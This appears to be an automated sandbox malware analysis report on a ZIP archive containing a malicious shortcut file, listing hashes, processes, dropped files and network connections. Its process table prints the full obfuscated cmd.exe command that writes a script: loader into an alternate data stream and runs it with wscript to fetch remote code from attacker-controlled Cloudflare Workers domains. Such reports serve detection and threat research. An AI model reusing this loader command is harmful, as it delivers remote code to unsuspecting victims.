File name: | Concluidos-NET300.zip |
Full analysis: | https://app.any.run/tasks/797d3182-69e1-4a9a-b37b-eb707d703177 |
Verdict: | Malicious activity |
Analysis date: | August 13, 2019, 19:05:09 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 704B9578512F7CB94DDAC39F33EFA6B4 |
SHA1: | 11417D882A4255DDF4A15774DDEFB090A02493DB |
SHA256: | B1E250A1562763308EBF53632029E89844632FC384F6F324F8125B49D666F476 |
SSDEEP: | 24:92eqntgukIQkMZken3jBaphyPovto3qtapxB/S0QY4mZPAVD6syHUeqCts:9bqOIQkEkMcyItj8bPAVOsyHVqv |
.zip | | | ZIP compressed archive (100) |
---|
ZipFileName: | Concluidos-NET300.lnk |
---|---|
ZipUncompressedSize: | 2568 |
ZipCompressedSize: | 984 |
ZipCRC: | 0xba9a7e23 |
ZipModifyDate: | 2019:08:12 23:58:12 |
ZipCompression: | Deflated |
ZipBitFlag: | - |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2932 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Concluidos-NET300.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
3440 | "C:\Windows\System32\cmd.exe" /V /D /C "s^et YYYSSSF=G#e#t#O#b#j#e#c#t('s#cr#ip#t:#ht#tp#s#:&&set hddEEOO=;1;;1;iiqqlll%RANDOM%%RANDOM%3de017.cloudflareworkers.com;1;.edgeworker-fiddle-init-preview;1;10d1d018b466abaff122b7d01ba3ea7f0f2e3ff4734ae1ba65cf007cbbefc1da1morning-smoke-e9cb.vip-007.workers.dev;1;?06;1;') && echo %YYYSSSF:#=%%hddEEOO:;1;=/% > C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js|start wscript.exe C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js|exit" | C:\Windows\System32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3104 | C:\Windows\system32\cmd.exe /S /D /c" echo %YYYSSSF:#=%%hddEEOO:;1;=/% 1>C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3448 | C:\Windows\system32\cmd.exe /S /D /c" start wscript.exe C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1748 | C:\Windows\system32\cmd.exe /S /D /c" exit" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2964 | wscript.exe C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js | C:\Windows\system32\wscript.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2964 | wscript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@cloudflareworkers[1].txt | text | |
MD5:94679BB760FB62D59F548D5DA20A4E38 | SHA256:C884A394E62C28FBF0FA386694A8B859EDBF3C8713D90690F0D43CC9EDF611FD | |||
3104 | cmd.exe | C:\Users\admin\AppData\Local\Temp\8rrqllk:334499h.js | text | |
MD5:8253D514B162DEA3E0AB474E826FB7D9 | SHA256:87CF345474837CE139D30FF801E9ABEE0D785FC7891D924BDE944FA14D1B5CDA | |||
2932 | WinRAR.exe | C:\Users\admin\Desktop\Concluidos-NET300.lnk | lnk | |
MD5:156A937777ACEF64CACE647870AD3650 | SHA256:7EB1AFFC4A064315BAECBD1846471F63F6696B1B714DB3F7AAEDCCE7FE1FB17C |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2964 | wscript.exe | 104.17.11.62:443 | iiqqlll5369184273de017.cloudflareworkers.com | Cloudflare Inc | US | shared |
Domain | IP | Reputation |
---|---|---|
iiqqlll5369184273de017.cloudflareworkers.com |
| unknown |